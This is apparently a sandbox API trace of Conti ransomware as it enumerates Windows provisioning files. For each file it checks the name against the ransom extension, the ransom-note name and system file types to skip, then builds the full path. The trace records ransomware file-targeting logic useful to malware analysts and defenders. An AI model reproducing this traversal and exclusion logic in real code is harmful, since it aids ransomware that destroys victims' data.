	[0109.579] StrStrIW (lpFirst="512__Connections_Cellular_Ancel (Uruguay)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.579] StrStrIW (lpFirst="512__Connections_Cellular_Ancel (Uruguay)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.579] StrStrIW (lpFirst="512__Connections_Cellular_Ancel (Uruguay)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.579] StrStrIW (lpFirst="512__Connections_Cellular_Ancel (Uruguay)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.580] StrStrIW (lpFirst="512__Connections_Cellular_Ancel (Uruguay)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.580] StrStrIW (lpFirst="512__Connections_Cellular_Ancel (Uruguay)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.580] StrStrIW (lpFirst="512__Connections_Cellular_Ancel (Uruguay)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.580] StrStrIW (lpFirst="512__Connections_Cellular_Ancel (Uruguay)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.580] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.580] lstrlenW (lpString="512__Connections_Cellular_Ancel (Uruguay)_i0$(__MVID)@WAP.provxml") returned 65
	[0109.580] GetProcessHeap () returned 0x1720000
	[0109.580] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x138) returned 0x1809380
	[0109.580] lstrcpyW (in: lpString1=0x1809380, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.580] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.580] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="512__Connections_Cellular_Ancel (Uruguay)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\512__Connections_Cellular_Ancel (Uruguay)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\512__Connections_Cellular_Ancel (Uruguay)_i0$(__MVID)@WAP.provxml"
	[0109.580] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9126046c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9126046c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9126046c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2bd, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="513__Connections_Cellular_Claro (Uruguay)_i0$(__MVID)@WAP.provxml", cAlternateFileName="513__C~1.PRO")) returned 1
	[0109.580] lstrcmpiW (lpString1="513__Connections_Cellular_Claro (Uruguay)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.580] lstrcmpiW (lpString1="513__Connections_Cellular_Claro (Uruguay)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.580] StrStrIW (lpFirst="513__Connections_Cellular_Claro (Uruguay)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.580] StrStrIW (lpFirst="513__Connections_Cellular_Claro (Uruguay)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.580] StrStrIW (lpFirst="513__Connections_Cellular_Claro (Uruguay)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.580] StrStrIW (lpFirst="513__Connections_Cellular_Claro (Uruguay)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.580] StrStrIW (lpFirst="513__Connections_Cellular_Claro (Uruguay)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.580] StrStrIW (lpFirst="513__Connections_Cellular_Claro (Uruguay)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.580] StrStrIW (lpFirst="513__Connections_Cellular_Claro (Uruguay)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.580] StrStrIW (lpFirst="513__Connections_Cellular_Claro (Uruguay)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.580] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.580] lstrlenW (lpString="513__Connections_Cellular_Claro (Uruguay)_i0$(__MVID)@WAP.provxml") returned 65
	[0109.580] GetProcessHeap () returned 0x1720000
	[0109.580] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x138) returned 0x180a428
	[0109.580] lstrcpyW (in: lpString1=0x180a428, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.580] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.580] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="513__Connections_Cellular_Claro (Uruguay)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\513__Connections_Cellular_Claro (Uruguay)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\513__Connections_Cellular_Claro (Uruguay)_i0$(__MVID)@WAP.provxml"
	[0109.580] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9126046c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9126046c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9126046c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="514__Connections_Cellular_Telefonica (Uruguay)_i0$(__MVID)@WAP.provxml", cAlternateFileName="514__C~1.PRO")) returned 1
	[0109.581] lstrcmpiW (lpString1="514__Connections_Cellular_Telefonica (Uruguay)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.581] lstrcmpiW (lpString1="514__Connections_Cellular_Telefonica (Uruguay)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.581] StrStrIW (lpFirst="514__Connections_Cellular_Telefonica (Uruguay)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.581] StrStrIW (lpFirst="514__Connections_Cellular_Telefonica (Uruguay)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.581] StrStrIW (lpFirst="514__Connections_Cellular_Telefonica (Uruguay)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.581] StrStrIW (lpFirst="514__Connections_Cellular_Telefonica (Uruguay)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.581] StrStrIW (lpFirst="514__Connections_Cellular_Telefonica (Uruguay)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.581] StrStrIW (lpFirst="514__Connections_Cellular_Telefonica (Uruguay)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.581] StrStrIW (lpFirst="514__Connections_Cellular_Telefonica (Uruguay)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.581] StrStrIW (lpFirst="514__Connections_Cellular_Telefonica (Uruguay)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.581] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.581] lstrlenW (lpString="514__Connections_Cellular_Telefonica (Uruguay)_i0$(__MVID)@WAP.provxml") returned 70
	[0109.581] GetProcessHeap () returned 0x1720000
	[0109.581] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x142) returned 0x180b7d0
	[0109.581] lstrcpyW (in: lpString1=0x180b7d0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.581] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.581] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="514__Connections_Cellular_Telefonica (Uruguay)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\514__Connections_Cellular_Telefonica (Uruguay)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\514__Connections_Cellular_Telefonica (Uruguay)_i0$(__MVID)@WAP.provxml"
	[0109.581] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9126046c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9126046c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9126046c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="515__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="515__C~1.PRO")) returned 1
	[0109.581] lstrcmpiW (lpString1="515__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".") returned 1
	[0109.581] lstrcmpiW (lpString1="515__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2="..") returned 1
	[0109.581] StrStrIW (lpFirst="515__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0109.581] StrStrIW (lpFirst="515__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.581] StrStrIW (lpFirst="515__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".exe") returned 0x0
	[0109.581] StrStrIW (lpFirst="515__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".dll") returned 0x0
	[0109.581] StrStrIW (lpFirst="515__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".lnk") returned 0x0
	[0109.581] StrStrIW (lpFirst="515__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".sys") returned 0x0
	[0109.581] StrStrIW (lpFirst="515__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0109.581] StrStrIW (lpFirst="515__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.581] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.581] lstrlenW (lpString="515__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned 53
	[0109.581] GetProcessHeap () returned 0x1720000
	[0109.581] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x120) returned 0x1819358
	[0109.581] lstrcpyW (in: lpString1=0x1819358, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.581] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.582] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="515__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\515__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\515__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0109.582] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x912866d8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x912866d8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x912866d8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cb, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="516__Connections_Cellular_Uzdunrobita (Uzbekistan)_i0$(__MVID)@WAP.provxml", cAlternateFileName="516__C~1.PRO")) returned 1
	[0109.582] lstrcmpiW (lpString1="516__Connections_Cellular_Uzdunrobita (Uzbekistan)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.582] lstrcmpiW (lpString1="516__Connections_Cellular_Uzdunrobita (Uzbekistan)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.582] StrStrIW (lpFirst="516__Connections_Cellular_Uzdunrobita (Uzbekistan)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.582] StrStrIW (lpFirst="516__Connections_Cellular_Uzdunrobita (Uzbekistan)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.582] StrStrIW (lpFirst="516__Connections_Cellular_Uzdunrobita (Uzbekistan)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.582] StrStrIW (lpFirst="516__Connections_Cellular_Uzdunrobita (Uzbekistan)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.582] StrStrIW (lpFirst="516__Connections_Cellular_Uzdunrobita (Uzbekistan)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.582] StrStrIW (lpFirst="516__Connections_Cellular_Uzdunrobita (Uzbekistan)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.582] StrStrIW (lpFirst="516__Connections_Cellular_Uzdunrobita (Uzbekistan)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.582] StrStrIW (lpFirst="516__Connections_Cellular_Uzdunrobita (Uzbekistan)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.582] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.582] lstrlenW (lpString="516__Connections_Cellular_Uzdunrobita (Uzbekistan)_i0$(__MVID)@WAP.provxml") returned 74
	[0109.582] GetProcessHeap () returned 0x1720000
	[0109.582] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x14a) returned 0x180cbf8
	[0109.582] lstrcpyW (in: lpString1=0x180cbf8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.582] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.582] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="516__Connections_Cellular_Uzdunrobita (Uzbekistan)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\516__Connections_Cellular_Uzdunrobita (Uzbekistan)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\516__Connections_Cellular_Uzdunrobita (Uzbekistan)_i0$(__MVID)@WAP.provxml"
	[0109.582] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x912866d8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x912866d8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x912866d8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x294, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="517__Connections_Cellular_Telefonica (Venezuela)_i0$(__MVID)@WAP.provxml", cAlternateFileName="517__C~1.PRO")) returned 1
	[0109.582] lstrcmpiW (lpString1="517__Connections_Cellular_Telefonica (Venezuela)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.582] lstrcmpiW (lpString1="517__Connections_Cellular_Telefonica (Venezuela)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.582] StrStrIW (lpFirst="517__Connections_Cellular_Telefonica (Venezuela)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.582] StrStrIW (lpFirst="517__Connections_Cellular_Telefonica (Venezuela)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.582] StrStrIW (lpFirst="517__Connections_Cellular_Telefonica (Venezuela)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.582] StrStrIW (lpFirst="517__Connections_Cellular_Telefonica (Venezuela)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.582] StrStrIW (lpFirst="517__Connections_Cellular_Telefonica (Venezuela)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.582] StrStrIW (lpFirst="517__Connections_Cellular_Telefonica (Venezuela)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.582] StrStrIW (lpFirst="517__Connections_Cellular_Telefonica (Venezuela)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.582] StrStrIW (lpFirst="517__Connections_Cellular_Telefonica (Venezuela)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.582] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.582] lstrlenW (lpString="517__Connections_Cellular_Telefonica (Venezuela)_i0$(__MVID)@WAP.provxml") returned 72
	[0109.582] GetProcessHeap () returned 0x1720000
	[0109.583] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x146) returned 0x180ae68
	[0109.583] lstrcpyW (in: lpString1=0x180ae68, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.583] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.583] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="517__Connections_Cellular_Telefonica (Venezuela)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\517__Connections_Cellular_Telefonica (Venezuela)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\517__Connections_Cellular_Telefonica (Venezuela)_i0$(__MVID)@WAP.provxml"
	[0109.583] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x912866d8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x912866d8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x912866d8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="518__Connections_Cellular_Viettel (Vietnam)_i0$(__MVID)@WAP.provxml", cAlternateFileName="518__C~1.PRO")) returned 1
	[0109.583] lstrcmpiW (lpString1="518__Connections_Cellular_Viettel (Vietnam)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.583] lstrcmpiW (lpString1="518__Connections_Cellular_Viettel (Vietnam)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.583] StrStrIW (lpFirst="518__Connections_Cellular_Viettel (Vietnam)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.583] StrStrIW (lpFirst="518__Connections_Cellular_Viettel (Vietnam)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.583] StrStrIW (lpFirst="518__Connections_Cellular_Viettel (Vietnam)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.583] StrStrIW (lpFirst="518__Connections_Cellular_Viettel (Vietnam)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.583] StrStrIW (lpFirst="518__Connections_Cellular_Viettel (Vietnam)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.583] StrStrIW (lpFirst="518__Connections_Cellular_Viettel (Vietnam)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.583] StrStrIW (lpFirst="518__Connections_Cellular_Viettel (Vietnam)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.583] StrStrIW (lpFirst="518__Connections_Cellular_Viettel (Vietnam)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.583] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.583] lstrlenW (lpString="518__Connections_Cellular_Viettel (Vietnam)_i0$(__MVID)@WAP.provxml") returned 67
	[0109.583] GetProcessHeap () returned 0x1720000
	[0109.583] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13c) returned 0x180abd8
	[0109.583] lstrcpyW (in: lpString1=0x180abd8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.583] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
